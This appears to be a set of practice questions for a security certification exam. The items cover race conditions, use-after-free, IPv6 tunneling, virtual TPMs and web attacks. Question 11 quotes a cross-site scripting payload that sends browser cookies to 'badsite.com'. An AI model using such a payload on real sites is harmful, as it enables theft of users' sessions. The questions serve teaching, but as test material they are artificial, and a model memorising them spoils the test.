Question 4

Question
A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines.

Question 6

Question
After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart. SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT); The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MM-DDYYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased. Which of the following is MOST likely being exploited to manipulate the price of a shopping cart’s items?
Answer
  • Input validation
  • SQL injection
  • TOCTOU
  • Session hijacking

Question 7

Question
The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data. Which of the following issues may potentially occur?
Answer
  • The data may not be in a usable format.
  • The new storage array is not FCoE based.
  • The data may need a file system check.
  • The new storage array also only has a single controller.

Question 8

Question
Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed. Which of the following BEST describes the application issue?
Answer
  • Integer overflow
  • Click-jacking
  • Race condition
  • SQL injection
  • Use after free
  • Input validation

Question 9

Question
A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details. Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?
Answer
  • Client side input validation
  • Stored procedure
  • Encrypting credit card details
  • Regular expression matching

Question 10

Question
A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network. Which of the following is the BEST course of action?
Answer
  • Investigate the network traffic and block UDP port 3544 at the firewall
  • Remove the system from the network and disable IPv6 at the router
  • Locate and remove the unauthorized 6to4 relay from the network
  • Disable the switch port and block the 2001::/32 traffic at the firewall

Question 11

Question
A security administrator notices the following line in a server's security log: <input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</scri pt>') + "'; The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?
Answer
  • WAF
  • Input validation
  • SIEM
  • Sandboxing
  • DAM

Question 12

Question
A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware. By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?
Answer
  • Software-based root of trust
  • Continuous chain of trust
  • Chain of trust with a hardware root of trust
  • Software-based trust anchor with no root of trust

Question 13

Question
An organization is concerned with potential data loss in the event of a disaster, and created a backup datacenter as a mitigation strategy. The current storage method is a single NAS used by all servers in both datacenters. Which of the following options increases data availability in the event of a datacenter failure?
Answer
  • Replicate NAS changes to the tape backups at the other datacenter.
